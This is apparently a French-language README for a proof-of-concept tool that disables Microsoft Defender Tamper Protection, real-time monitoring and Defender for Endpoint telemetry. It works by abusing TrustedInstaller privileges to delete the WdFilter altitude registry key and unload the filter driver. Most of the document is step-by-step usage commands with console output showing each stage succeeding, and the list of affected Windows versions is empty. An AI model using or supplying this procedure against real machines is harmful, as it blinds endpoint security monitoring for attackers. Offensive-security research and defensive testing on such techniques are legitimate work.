alteredsecurity/disable-tamperprotectionUn POC pour désactiver TamperProtection et d'autres composants Defender / MDE
Il est possible d'abuser des privilèges SYSTEM / TrustedInstaller pour altérer ou supprimer les paramètres de WdFilter (clé de registre ALTITUDE) et décharger le minidriver du noyau afin de désactiver la protection contre la falsification et d'autres composants de Defender. Cela affecte également Microsoft Defender for Endpoint (MDE), privant MDE de la télémétrie et de l'activité effectuée sur une cible.
Cette vulnérabilité, lors des tests, s'est avérée affecter les versions suivantes de Windows :

REMARQUE : VC_redist.x64.exe (runtime MSVC) peut devoir être installé sur la cible.
Démo de la POC : https://youtu.be/MI6aVDHRix8
La POC fonctionne en 3 étapes (privilèges administrateur requis) :
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
Un exemple d'utilisation de la POC est le suivant :
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
Next: 0 | Frame ID: 0 | No. of Instances: 4 | Name: wdfilter | Altitude: 328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!
# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.
